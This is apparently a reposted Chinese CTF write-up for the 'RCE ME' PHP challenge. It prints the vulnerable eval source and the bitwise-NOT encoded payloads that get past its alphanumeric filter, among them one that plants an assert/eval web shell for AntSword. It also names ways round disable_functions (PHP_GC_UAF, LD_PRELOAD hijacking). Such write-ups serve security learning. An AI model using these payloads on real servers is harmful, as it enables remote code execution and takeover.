[極客大挑戰 2019]RCE ME


知識點

  • LD_PRELOAD

題目給了源碼

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

 

構造取反讀取phpinfo

<?php
$s = 'phpinfo';
echo urlencode(~$s);
#%8F%97%8F%96%91%99%90
?>

payload

?code=(~%8F%97%8F%96%91%99%90)();

讀取到phpinfo頁面,發現disable_functions禁了很多函數

 

 

構造取反連接蟻劍

<?php
$a = 'assert';
echo urlencode(~$a)."\n";
$b = '(eval($_POST[cmd]))';
echo urlencode(~$b)."\n";
#%9E%8C%8C%9A%8D%8B
#%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6
?>

使用蟻劍連接

http://2b912c75-fe79-4450-8cd4-c8532f83e63f.node3.buuoj.cn/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

密碼:cmd

看到根目錄下存在flag和readflag文件

 

 

應該是通過執行readflag來讀取flag,但是這里的shell命令基本上都被禁了

我們可以通過蟻劍的繞過disable_functions來執行

 

 

這里選擇PHP_GC_UAF

 

 

 

以上是非預期解,參考https://www.cnblogs.com/yesec/p/12483631.html

 

預期解應為通過環境變量LD_PRELOAD+mail劫持so來執行系統命令

參考https://evoa.me/index.php/archives/62/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM